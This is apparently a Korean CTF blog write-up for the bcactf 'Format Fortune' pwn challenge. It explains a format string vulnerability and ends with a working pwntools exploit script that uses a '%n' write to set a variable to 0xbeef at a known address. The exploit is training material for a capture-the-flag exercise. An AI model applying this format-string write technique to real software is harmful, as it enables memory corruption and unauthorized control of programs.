ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [bcactf] Format Fortune
    CTF/pwn 2022. 6. 8. 18:02

    source code

    소스코드이다. 15번째 줄에서 fsb가 발생한다.

    그리고 19번째 줄에서 magic의 값이 0xbeef이면 플래그를 출력해준다.

     

    where is magic

    magic의 위치는 0x40408c이다.

     

    checksec

    PIE가 없기에 주소를 알아낼 필요는 없을 것 같다

     

    fsb!

    입력 받는 배열의 위치는 6번째(0x4141...)에 있다.

    이를 바탕으로 진행해보자.

     

    32비트와 64비트 모두에서 fsb가 발생하지만 64비트에서는 약간의 차이점이 있다

    64비트에서는 8바이트씩 데이터를 넣기 때문에 주소값을 입력할 때 NULL(\x00)이 들어간다

    이것은 입력 때는 문제 없이 들어가지만 NULL까지 출력하는 printf 특징 때문에 NULL 뒤에 나올 코드가 실행이 되지 않는다.

     

     

    not this

    그래서 위처럼 쓸 수 있는 코드를

     

    this!

    위처럼 바꿔줘야 한다.

     

    bbbbb를 넣어주는 이유는 8의 배수로 입력해주기 위해서이다.

    실제로 들어간 입력값을 gdb로 확인해보면

     

    stack

    0x40408c 주소값이 잘 들어간 것을 확인할 수 있다.

     

    짜잔!

     

    from pwn import *
    
    p = remote('bin.bcactf.com', 49175)
    #p = process('./format-fortune')
    e = ELF('./format-fortune')
    
    #6th
    payload = b'%48879c%8$n'
    payload += b'bbbbb'
    payload += p64(0x40408c)
    
    p.sendlineafter(b'name?', payload)
    
    p.interactive()

    entire payload

    'CTF > pwn' 카테고리의 다른 글

    [GDG] MindGame (부제: 파이썬에서 c 함수 실행시키기)  (0) 2022.10.10
    [bcactf] Got libc?  (0) 2022.06.08
    [bcactf] Jump Rope  (0) 2022.06.08
    [bcactf] BOF Shop  (0) 2022.06.08
    [b01lers ] gambler-overflow  (0) 2022.05.08

    댓글

Hi